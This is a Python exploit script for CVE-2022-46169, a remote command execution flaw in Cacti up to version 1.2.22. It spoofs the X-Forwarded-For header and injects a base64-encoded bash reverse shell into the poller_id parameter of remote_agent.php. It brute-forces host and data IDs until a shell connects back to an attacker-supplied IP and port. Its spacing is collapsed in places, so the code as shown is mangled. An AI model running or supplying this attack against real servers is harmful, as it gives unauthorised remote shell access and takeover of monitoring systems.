# Exploit Title: Cacti v1.2.22 - Remote Command Execution (RCE)# Exploit Author: Riadh BOUCHAHOUA# Discovery Date: 2022-12-08 # Vendor Homepage: https://www.cacti.net/# Software Links : https://github.com/Cacti/cacti# Tested Version: 1.2.2x <= 1.2.22# CVE: CVE-2022-46169# Tested on OS: Debian 10/11#!/usr/bin/env python3import random
import httpx, urllib
classExploit:def__init__(self, url, proxy=None, rs_host="",rs_port=""):
self.url = url
self.session = httpx.Client(headers={"User-Agent": self.random_user_agent()},verify=False,proxies=proxy)
self.rs_host = rs_host
self.rs_port = rs_port
defexploit(self):# cacti local ip from the url for the X-Forwarded-For header
local_cacti_ip = self.url.split("//")[1].split("/")[0]
headers ={'X-Forwarded-For': f'{local_cacti_ip}'}
revshell = f"bash -c 'exec bash -i &>/dev/tcp/{self.rs_host}/{self.rs_port} <&1'"import base64
b64_revshell = base64.b64encode(revshell.encode()).decode()
payload = f";echo {b64_revshell} | base64 -d | bash -"
payload = urllib.parse.quote(payload)
urls =[]# Adjust the range to fit your needs ( wider the range, longer the script will take to run the more success you will have achieving a reverse shell)for host_id inrange(1,100):for local_data_ids inrange(1,100):
urls.append(f"{self.url}/remote_agent.php?action=polldata&local_data_ids[]={local_data_ids}&host_id={host_id}&poller_id=1{payload}")for url in urls:
r = self.session.get(url,headers=headers)print(f"{r.status_code} - {r.text}")passdefrandom_user_agent(self):
ua_list =["Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/91.0.4472.124 Safari/537.36","Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:89.0) Gecko/20100101 Firefox/89.0",]return random.choice(ua_list)defparse_args():import argparse
argparser = argparse.ArgumentParser()
argparser.add_argument("-u","--url",help="Target URL (e.g. http://192.168.1.100/cacti)")
argparser.add_argument("-p","--remote_port",help="reverse shell port to connect to", required=True)
argparser.add_argument("-i","--remote_ip",help="reverse shell IP to connect to", required=True)return argparser.parse_args()defmain()->None:# Open a nc listener (rs_host+rs_port) and run the script against a CACTI server with its LOCAL IP URL
args = parse_args()
e = Exploit(args.url, rs_host=args.remote_ip, rs_port=args.remote_port)
e.exploit()if __name__ =="__main__":
main()